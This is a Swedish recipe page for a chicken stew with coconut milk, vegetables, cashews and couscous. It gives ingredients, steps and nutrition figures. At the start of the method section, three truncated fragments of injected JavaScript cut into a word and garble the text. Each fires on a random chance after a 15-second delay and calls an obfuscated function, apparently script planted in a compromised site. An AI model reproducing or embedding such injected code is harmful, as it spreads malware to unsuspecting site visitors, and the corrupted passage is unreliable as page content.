2013-06-16
IMG_5466IMG_5470
  • Yield : 4
  • Servings : 1
  • Prep Time : 10m
  • Cook Time : 10m
  • Ready In : 20m

Ingredienser

  • 100 g kycklingfilé
  • 200g minimajs
  • 70 g broccoli
  • 83 g champinjoner
  • 1 dl röd paprika
  • 70g morot
  • 384g kokosmjölk light
  • 3g sambal oelek
  • 10g sweet chili sås
  • 20g kvarg 0.1% fett
  • 15g cashew nötter
  • kokosoja
  • curry
  • couscous

Genomförandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}e

Steg 1

Strimla samtliga grönsaker samt kycklingen.

Steg 2

Bryn morötter, minimajs och paprika i kokosolja.

Steg 3

Lägg i kycklingfilén. När kycklingfilén är klar, lägg i kokosmjölk,

Sambal oelek och sweet chili sås och låt koka i 5 minuter.

Steg 4

Tillsätt champinjoner, broccoli, kvarg och curry. Låt grytan

koka upp ytterligare 5 minuter.  Krydda med salt och curry.

Steg 5

Sist lägg i cashew nötter.

Steg 6

Koka couscous enligt anvisningarna på förpackningen

 

 

 

 

Recipe Type:
Medlemsbetyg

(0 / 5)

0 5 0
Betygsätt recept

0 people rated this recipe

Related Recipes:
  • Jordnötsås-ny

    Kyckling i jordnötssås med shiratakinudlar

  • image

    Korvstroganoff med kycklingkorv & råris

  • c720000ae01211e2b8cc22000a1d2017_7

    Stark kycklinggryta med fullkornsbulgur

  • image

    Tacokyckling

  • image

    Nötgryta med Matvete

Näringssinnehåll

Informationen gäller per portion

  • Kcal 187

  • Proteiner 13g

  • Kolhydrater 15g

  • Fett 9g

Recipe Comments

Post A Comment

Current ye@r *